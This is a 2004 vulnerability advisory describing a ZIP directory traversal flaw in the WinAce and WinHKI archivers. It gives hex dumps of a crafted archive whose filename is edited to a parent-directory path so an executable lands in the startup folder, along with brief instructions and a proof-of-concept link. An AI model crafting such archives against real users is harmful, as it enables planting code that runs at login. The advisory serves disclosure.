~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application: WinAce, WinHKI Vendors: http://www.webtoolmaster.com Versions: 1.4d Platforms: Windows Bug: ZIP File Directory Transversal Exploitation: Local (extract file) Date: 24 Dec 2004 Author: Rafel Ivgi, The-Insider E-Mail: the_insider@private Website: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bugs 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== WinHKI is a file archiever which supports: BH, CAB, HKI, JAR, LHA,TAR, GZ compressions. WinAce is a file archiever which supports: CAB, JAR, ZIP, RAR, TAR, GZ, TAR.GZ, LZA, LHA compressions. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== This is a normal ZIP compressed file header 00000000 504B 0304 1400 0200 0800 CC81 0C2F B78F PK.........../.. 00000010 F209 3C2F 0F00 C8EE 0F00 0700 0000 7370 ..</..........sp 00000020 352E 6578 65EC 5A7F 5454 577E 7F33 0C30 5.exe.Z.TTW~.3.0 00000030 C0C0 1B94 8926 6A32 2AAE D9FC 206E 2628 .....&j2*... n&( 00000040 2018 1186 4044 7D3A E40D 4940 4304 7CCC ...@D}:..I@C.|. in the following code, we can see how easy it is to change the path to anywhere we want, including the all users start up folder. I just overwrited the original long file name to /../../sp5.exe 00000000 504B 0304 1400 0200 0800 CC81 0C2F B78F PK.........../.. 00000010 F209 3C2F 0F00 C8EE 0F00 1000 0000 7662 ..</..........vb 00000020 2F2E 2E2F 2E2E 2F73 7035 2E65 7865 EC5A /../../sp5.exe.Z 00000030 7F54 5457 7E7F 330C 30C0 C01B 9489 266A .TTW~.3.0.....&j 00000040 322A AED9 FC20 6E26 2820 1811 8640 447D 2*... n&( ...@D} All we need to do is zip compress (using winzip, winrar, winace) a file with a long name/path and change the path specified inside the file to whatever we want Using any Hex editor such as HexWorkshop, just add anything to the filename. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =========== 3) The Code =========== An online proof of concept can be found at: http://theinsider.web1000.com/WINACE-WINHKI ZIP TRANSVERSAL.zip ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --- Rafel Ivgi, The-Insider http://theinsider.deep-ice.com "Scripts and Codes will make me D.O.S , but they will never HACK me."
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